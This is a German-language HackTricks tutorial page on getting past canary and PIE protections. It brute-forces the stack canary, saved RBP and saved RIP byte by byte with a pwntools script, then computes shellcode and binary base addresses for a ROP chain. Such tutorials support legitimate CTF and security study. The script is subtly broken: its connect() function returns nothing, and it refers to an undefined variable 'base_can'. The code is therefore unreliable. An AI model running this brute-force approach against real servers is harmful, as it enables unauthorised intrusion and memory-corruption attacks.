BF Addresses in the Stack

Unterstützen Sie HackTricks

Wenn Sie es mit einem Binärfile zu tun haben, das durch einen Canary und PIE (Position Independent Executable) geschützt ist, müssen Sie wahrscheinlich einen Weg finden, um diese zu umgehen.

Beachten Sie, dass checksec möglicherweise nicht feststellt, dass ein Binärfile durch einen Canary geschützt ist, wenn es statisch kompiliert wurde und nicht in der Lage ist, die Funktion zu identifizieren. Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert am Anfang eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.

Brute-Force-Adressen

Um PIE zu umgehen, müssen Sie eine Adresse leaken. Und wenn das Binärfile keine Adressen leakt, ist es am besten, den RBP und RIP, die im Stack gespeichert sind, in der verwundbaren Funktion zu brute-forcen. Beispielsweise, wenn ein Binärfile sowohl durch einen Canary als auch durch PIE geschützt ist, können Sie damit beginnen, den Canary zu brute-forcen, dann werden die nächsten 8 Bytes (x64) das gespeicherte RBP und die nächsten 8 Bytes das gespeicherte RIP sein.

Es wird angenommen, dass die Rückgabeadresse im Stack zum Hauptcode des Binärs gehört, was in der Regel der Fall ist, wenn die Schwachstelle im Binärcode liegt.

Um den RBP und den RIP des Binärs zu brute-forcen, können Sie feststellen, dass ein gültig geratenes Byte korrekt ist, wenn das Programm etwas ausgibt oder einfach nicht abstürzt. Die gleiche Funktion, die für das Brute-Forcen des Canary bereitgestellt wurde, kann verwendet werden, um den RBP und den RIP zu brute-forcen:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Das Letzte, was Sie benötigen, um den PIE zu umgehen, ist die Berechnung nützlicher Adressen aus den durchgesickerten Adressen: dem RBP und dem RIP.

Vom RBP aus können Sie berechnen, wo Sie Ihren Shellcode im Stack schreiben. Dies kann sehr nützlich sein, um zu wissen, wo Sie den String "/bin/sh\x00" im Stack schreiben werden. Um den Abstand zwischen dem durchgesickerten RBP und Ihrem Shellcode zu berechnen, setzen Sie einfach einen Haltepunkt nach dem Durchsickern des RBP und überprüfen, wo sich Ihr Shellcode befindet, dann können Sie den Abstand zwischen dem Shellcode und dem RBP berechnen:

INI_SHELLCODE = RBP - 1152

Vom RIP aus können Sie die Basisadresse der PIE-Binärdatei berechnen, die Sie benötigen, um eine gültige ROP-Kette zu erstellen. Um die Basisadresse zu berechnen, führen Sie einfach objdump -d vunbinary aus und überprüfen Sie die zuletzt disassemblierten Adressen:

In diesem Beispiel sehen Sie, dass nur 1 Byte und eine Hälfte erforderlich sind, um den gesamten Code zu lokalisieren. Die Basisadresse in dieser Situation wird also der geleakte RIP, endend auf "000" sein. Zum Beispiel, wenn Sie 0x562002970ecf geleakt haben, ist die Basisadresse 0x562002970000.

elf.address = RIP - (RIP & 0xfff)

Verbesserungen

Gemäß einiger Beobachtungen aus diesem Beitrag ist es möglich, dass der Server bei bestimmten Werten von RBP und RIP nicht abstürzt, die nicht die richtigen sind, und das BF-Skript denkt, er habe die richtigen erhalten. Dies liegt daran, dass es möglich ist, dass einige Adressen es einfach nicht brechen, auch wenn es nicht genau die richtigen sind.

Gemäß diesem Blog-Beitrag wird empfohlen, eine kurze Verzögerung zwischen den Anfragen an den Server einzuführen.

Last updated